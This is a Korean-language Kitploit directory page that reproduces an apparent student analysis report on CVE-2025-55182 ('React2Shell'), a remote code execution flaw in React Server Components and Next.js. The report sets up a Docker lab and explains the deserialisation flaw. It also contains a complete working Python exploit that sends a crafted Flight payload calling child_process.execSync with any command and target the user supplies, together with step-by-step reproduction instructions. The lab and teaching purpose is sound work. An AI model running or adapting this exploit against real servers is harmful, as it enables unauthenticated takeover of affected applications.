Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — 일명 React2Shell | Kitploit
도구/GitHubGitHub/ycseo-git/cve-2025-55182
Container SecurityDynamic Analysis (Sandboxing)Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFLearning & EducationPayload DevelopmentLabs & Practice
GitHubycseo-git/cve-2025-55182
53개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182

일명 React2Shell

저장소 보기

CVE-2025-55182 React2Shell 분석 보고서

과제 지침에서 요구하는 섹션은 "(Required)"로 표시되어 있습니다.

1. 환경 (Required)

1.1. Dockerfile (Required)

이 환경은 공식 Node.js Alpine 이미지를 기반으로 하는 커스텀 Dockerfile을 사용합니다.

root@kitploit:~
FROM node:20-alpine

WORKDIR /app

COPY package.json ./
RUN npm install --legacy-peer-deps

COPY . .

EXPOSE 3000

CMD ["npm", "run", "dev"]

Dockerfile은 취약한 React Server Components(RSC) 및 Next.js App Router 환경을 구축합니다.

이 환경은 다음의 취약한 버전을 설치합니다:

  • React 19 RC
  • React Server DOM Webpack
  • Next.js 15.0.0

취약한 서버는 npm run dev를 사용하여 개발 모드로 실행됩니다.

취약한 서버는 npm run dev를 사용하여 개발 모드로 실행됩니다.


1.2. 서비스 아키텍처 (Required)

이 환경은 다음 구조로 작동합니다:

root@kitploit:~
[Attacker / exploit.py]
          ↓
[Next.js App Router]
          ↓
[React Flight Protocol Parser]
          ↓
[React Server Components Runtime]
          ↓
[Node.js Runtime]

공격자 / exploit.py

공격자는 특수하게 조작된 multipart/form-data 요청을 취약한 Next.js 애플리케이션에 전송합니다.

악의적인 페이로드는 React Flight 프로토콜 역직렬화 과정을 악용합니다.

Next.js App Router

취약한 애플리케이션은 Next.js App Router 아키텍처를 사용합니다.

요청은 React Server Components 파이프라인을 통해 처리됩니다.

애플리케이션 소스 코드는 src/app/ 디렉터리에 저장됩니다.

root@kitploit:~
src/
 └── app/
     ├── layout.js
     └── page.js

layout.js 파일은 App Router 구조에 필요한 루트 레이아웃을 정의하고 React Server Components 환경을 초기화합니다.

root@kitploit:~
export default function RootLayout({ children }) {
  return (<html><body>{children}</body></html>);
}

page.js 파일은 /에서 렌더링되는 루트 페이지를 정의하며 취약한 서버가 실행 중임을 나타내는 간단한 메시지를 표시합니다.

root@kitploit:~
export default function Page() {
    return (<h1>Vulnerable Server</h1>);
  }

프로젝트 종속성과 실행 스크립트는 package.json 파일을 통해 관리됩니다.

root@kitploit:~
{
    "name": "cve-2025-55182-vuln-app",
    "version": "1.0.0",
    "private": true,
    "scripts": {
        "dev": "next dev -p 3000"
    },
    "dependencies": {
        "next": "15.0.0",
        "react": "19.0.0-rc-65a56d0e-20241020",
        "react-dom": "19.0.0-rc-65a56d0e-20241020",
        "react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
    }
}

이 파일은 다음의 취약한 버전을 정의합니다:

  • Next.js
  • React
  • react-dom
  • react-server-dom-webpack

취약한 애플리케이션은 다음을 사용하여 실행됩니다:

root@kitploit:~
"scripts": {
  "dev": "next dev"
}

서버는 다음을 통해 시작됩니다:

root@kitploit:~
npm run dev

이 명령은 포트 3000에서 취약한 Next.js 개발 서버를 실행합니다.

React Flight 프로토콜 파서

Flight 프로토콜은 다음과 같은 복잡한 React 객체를 역직렬화합니다:

  • Promise 참조
  • Blob 참조
  • Chunk 참조
  • 서버 액션
  • 순환 참조

취약점은 이 역직렬화 과정 중에 발생합니다.

React Server Components 런타임

React 런타임은 공격자가 제어하는 Flight 페이로드를 처리합니다.

안전하지 않은 속성 탐색과 프로토타입 접근으로 인해 공격자는 결과적으로 Function 생성자를 탈취할 수 있습니다.

Node.js 런타임

성공적인 악용 이후, 임의의 JavaScript 코드가 Node.js 서버 환경 내부에서 실행됩니다.

이로 인해 원격 코드 실행(RCE)이 발생합니다.


1.3. 이미지 및 버전 (Required)

구성 요소버전
Node.js20-alpine
Next.js15.0.0
React19.0.0-rc
react-dom19.0.0-rc
react-server-dom-webpack

이 환경은 취약한 React Server Components 및 Flight 프로토콜 구현을 사용합니다.

2. 근본 원인 (Required)

2.1. 취약점 설명 (Required)

React2Shell로도 알려진 CVE-2025-55182는 React Server Components와 React Flight 프로토콜에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점입니다.

이 취약점은 공격자가 제어하는 Flight 프로토콜 페이로드의 역직렬화 과정 중에 발생합니다.

이 문제로 인해 공격자는 다음을 수행할 수 있습니다:

  • 가짜 chunk 객체 생성
  • 프로토타입 탐색 악용
  • Function 생성자 탈취
  • 서버에서 임의의 JavaScript 코드 실행

이 취약점은 단일한 조작된 HTTP 요청만으로 인증 없이 악용될 수 있기 때문에 특히 위험합니다.

취약한 React Server Components 및 Next.js App Router 구성을 사용하는 애플리케이션은 직접적으로 노출됩니다.


2.2. 근본 원인 분석 (Required)

이 취약점의 근본 원인은 Flight 프로토콜 역직렬화 중 공격자가 제어하는 객체 참조를 안전하지 않게 처리하는 것입니다.

React Flight는 내부적으로 다음과 같은 특수 참조 문자열을 사용합니다:

root@kitploit:~
$@0
$B1337
$1:__proto__:then

이러한 참조는 역직렬화 중에 재귀적으로 해석됩니다.

취약한 로직은 다음 코드와 유사한 속성 탐색을 수행합니다:

root@kitploit:~
value[path[i]]

속성이 객체 자체에 속하는지 검증하지 않습니다.

결과적으로 공격자는 다음과 같은 위험한 JavaScript 프로토타입 체인 속성에 접근할 수 있습니다:

root@kitploit:~
__proto__
constructor
prototype

이로 인해 결국 프로토타입 오염과 Function 생성자 탈취가 가능해집니다.

가짜 Chunk 생성

공격자는 먼저 가짜 React chunk 객체를 생성합니다.

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "touch /tmp/success.txt",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

핵심 필드는 다음과 같습니다:

root@kitploit:~
"status": "resolved_model"

React 런타임은 이 필드를 잘못 신뢰하여 공격자가 제어하는 객체를 합법적인 내부 chunk 객체로 취급합니다.

프로토타입 오염

다음 페이로드:

root@kitploit:~
$1:__proto__:then

는 역직렬화기가 JavaScript 프로토타입 체인을 탐색하도록 합니다.

취약한 코드가 위험한 속성을 검증하지 않기 때문에 공격자는 다음에 접근할 수 있습니다:

root@kitploit:~
Chunk.prototype.then

이로 인해 가짜 chunk가 thenable 객체로 변환됩니다.

Function 생성자 탈취

다음 페이로드:

root@kitploit:~
$1:constructor:constructor

는 궁극적으로 다음으로 해석됩니다:

root@kitploit:~
Function

이 페이로드는 다음 코드를 전역 JavaScript Function 생성자로 대체합니다:

root@kitploit:~
response._formData.get

결과적으로 다음이 가능해집니다:

root@kitploit:~
Function(attacker_controlled_payload)

Blob 파싱 트리거

다음 페이로드:

root@kitploit:~
$B1337

는 React Flight 파서가 Blob 파싱 로직으로 들어가도록 강제합니다.

이 과정 중에 다음이 실행됩니다:

root@kitploit:~
response._formData.get(...)

그러나 공격자는 이미 이 함수를 전역 Function 생성자로 대체했습니다.

이로 인해 최종적으로 Node.js 런타임 내부에서 임의의 JavaScript가 실행됩니다.


2.3. 취약점 트리거 과정 (Required)

악용 과정은 다음 순서로 발생합니다:

root@kitploit:~
Attacker Request
        ↓
Flight Payload Parsing
        ↓
Fake Chunk Creation
        ↓
Prototype Pollution
        ↓
Function Constructor Hijacking
        ↓
Blob Parsing Trigger
        ↓
Promise Resolution
        ↓
Remote Code Execution

공격자는 먼저 조작된 multipart Flight 요청을 전송합니다.

취약한 서버는 악의적인 페이로드를 역직렬화하고 공격자가 제어하는 참조를 재귀적으로 해석합니다.

안전하지 않은 프로토타입 탐색으로 인해 공격자는 결국 Function 생성자를 탈취할 수 있습니다.

Promise 해석과 Blob 파싱 중에 임의의 JavaScript 코드가 실행됩니다.


2.4. 공격 흐름 및 영향 (Required)

성공적인 악용 시 공격자는 Node.js 서버 환경 내부에서 임의의 JavaScript 코드를 실행할 수 있습니다.

이 환경에서 악용 코드는 다음 명령을 실행합니다:

root@kitploit:~
touch /tmp/success.txt

컨테이너 내부에 다음 파일이 존재하면 악용 성공이 확인됩니다:

root@kitploit:~
/tmp/success.txt

실제 환경에서 공격자는 다음을 수행할 수 있습니다:

  • 임의의 시스템 명령 실행
  • 악성코드 다운로드 및 실행
  • 민감한 서버 데이터 탈취
  • 내부 인프라로의 피벗
  • 백엔드 시스템 손상
  • 서버 사이드 렌더링 파이프라인 악용

이 취약점은 애플리케이션 비즈니스 로직이 아닌 React 프레임워크 내부에 영향을 미치기 때문에 특히 위험합니다.

즉, 많은 수의 애플리케이션이 영향을 받는 프레임워크 버전을 사용하는 것만으로도 취약해질 수 있습니다.

3. PoC (Required)

3.1. PoC 개요 (Required)

개념 증명(PoC)은 Python으로 작성되었습니다.

악용 코드는 악의적인 multipart/form-data 요청을 취약한 Next.js 애플리케이션에 직접 전송합니다.

PoC는 다음 작업을 수행합니다:

  1. 악의적인 Flight 프로토콜 페이로드 생성
  2. 가짜 React chunk 참조 구성
  3. 프로토타입 탐색 트리거
  4. Function 생성자 탈취
  5. Node.js 런타임 내부에서 임의의 JavaScript 코드 실행

3.2. PoC 코드

root@kitploit:~
import requests
import sys

def exploit_rce(url, command):
    headers = {
        "Host": "localhost",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
        "Next-Action": "x",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    }


    payload_json = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
        f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
        '"_formData":{"get":"$1:constructor:constructor"}}}'
    )

    data = (
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"0\"\r\n"
        "\r\n"
        f"{payload_json}\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"1\"\r\n"
        "\r\n"
        "\"$@0\"\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
    )

    try:
        print(f"[*] Sending RCE payload to {url}...")
        print(f"[*] Command: {command}")
        
        response = requests.post(url, headers=headers, data=data, timeout=10)
        
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response Body Preview: {response.text[:500]}")
        
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target_url = "http://localhost:3000"
    cmd = "touch /tmp/success.txt"
    
    if len(sys.argv) > 1:
        cmd = sys.argv[1]
    if len(sys.argv) > 2:
        target_url = sys.argv[2]
    
    exploit_rce(target_url, cmd)

3.3. 페이로드 분석 (Required)

악용 페이로드는 여러 개의 특수하게 조작된 Flight 프로토콜 참조를 사용합니다.

$1:__proto__:then

부분용도
$1chunk 1 참조
__proto__프로토타입 체인 탐색
thenChunk.prototype.then 검색

이 페이로드는 가짜 chunk를 thenable 객체로 변환합니다.


$1:constructor:constructor

부분용도
$1chunk 1 참조
constructor객체 생성자 접근
constructor전역 Function 생성자로 해석

이 페이로드는 JavaScript Function 생성자를 탈취합니다.


$B1337

$B 접두사는 Flight 파서가 Blob 파싱 로직으로 들어가도록 강제합니다.

이 과정 중에 다음이 실행됩니다:

root@kitploit:~
response._formData.get(...)

공격자가 이미 이 메서드를 Function 생성자로 대체했기 때문에 임의의 JavaScript 코드가 실행됩니다.


$@0

이 페이로드는 순환 chunk 참조를 생성합니다.

Chunk 1은 궁극적으로 Chunk 0을 다시 참조합니다.

이 구조를 통해 역직렬화기는 프로토타입 탐색 중에 공격자가 제어하는 가짜 chunk 객체를 사용할 수 있습니다.


3.4. PoC 코드 실행 과정 (Required)

Boundary 생성

악용 코드는 먼저 무작위 multipart boundary를 생성합니다.

root@kitploit:~
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex

이는 유효한 multipart/form-data 요청을 구성하는 데 필요합니다.

가짜 Chunk 구성

악용 코드는 악의적인 가짜 chunk 객체를 구성합니다.

root@kitploit:~
"status":"resolved_model"

이로 인해 React 런타임은 공격자가 제어하는 객체를 유효한 내부 chunk로 취급합니다.

프로토타입 탐색

다음 페이로드:

root@kitploit:~
$1:__proto__:then

는 취약한 파서가 JavaScript 프로토타입 체인을 탐색하도록 강제합니다.

Function 생성자 탈취

다음 페이로드:

root@kitploit:~
$1:constructor:constructor

는 내부 get 메서드를 JavaScript Function 생성자로 대체합니다.

임의 코드 실행

다음 페이로드:

root@kitploit:~
require('child_process').execSync('touch /tmp/success.txt')

는 결국 Node.js 런타임 내부에서 실행됩니다.

기대 결과

성공적인 악용 시 다음 파일이 취약한 컨테이너 내부에 생성됩니다:

root@kitploit:~
/tmp/success.txt

4. 재현 (Required)

4.1. PoC 및 악용 코드 실행 과정 (Required)

전체 악용 흐름은 아래와 같이 요약됩니다:

root@kitploit:~
Start Docker Environment
        ↓
Run Vulnerable Next.js Server
        ↓
Execute exploit.py
        ↓
Send Malicious Flight Payload
        ↓
Trigger Prototype Pollution
        ↓
Hijack Function Constructor
        ↓
Trigger Blob Parsing
        ↓
Execute Arbitrary Code
        ↓
Verify /tmp/success.txt

4.2. 실제 악용 코드 실행 단계 (Required)

취약한 환경 구축

Docker 이미지를 빌드합니다.

root@kitploit:~
docker build -t rsc-vuln .

취약한 컨테이너 실행

취약한 컨테이너를 실행합니다.

root@kitploit:~
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln

취약한 Next.js 서버는 다음 주소에서 실행됩니다:

root@kitploit:~
http://127.0.0.1:3000

악용 코드 실행

PoC 스크립트를 실행합니다.

root@kitploit:~
python3 exploit.py

악용 코드는 악의적인 React Flight 페이로드를 취약한 Next.js 서버로 전송합니다.

원격 코드 실행 확인

악용 코드가 대상 파일을 성공적으로 생성했는지 확인합니다.

root@kitploit:~
docker exec -it my-vuln-server ls -la /tmp/success.txt

악용에 성공하면 취약한 컨테이너 내부에서 임의 코드 실행이 발생했음을 확인할 수 있습니다.


4.3. 결과 분석 (Required)

기대 출력

성공적인 악용 중 악용 코드는 React Flight 역직렬화와 프로토타입 탐색을 트리거해야 합니다.

취약한 서버는 악의적인 Flight 페이로드를 처리하고 공격자가 제어하는 JavaScript 코드를 실행합니다.

악용 성공 확인

다음 파일이 존재하면 악용 성공이 확인됩니다:

root@kitploit:~
/tmp/success.txt

예시 출력:

root@kitploit:~
-rw-r--r--    1 root     root             0 Jan  1 00:00 /tmp/success.txt

이는 취약한 Node.js 환경 내부에서 임의 명령이 성공적으로 실행되었음을 확인합니다.


4.4. 스크린샷 (Required)

다음 스크린샷이 screenshots/ 디렉터리에 포함되어 있습니다:

Docker 환경

악용 코드 실행

도구 다운로드
19.0.0-rc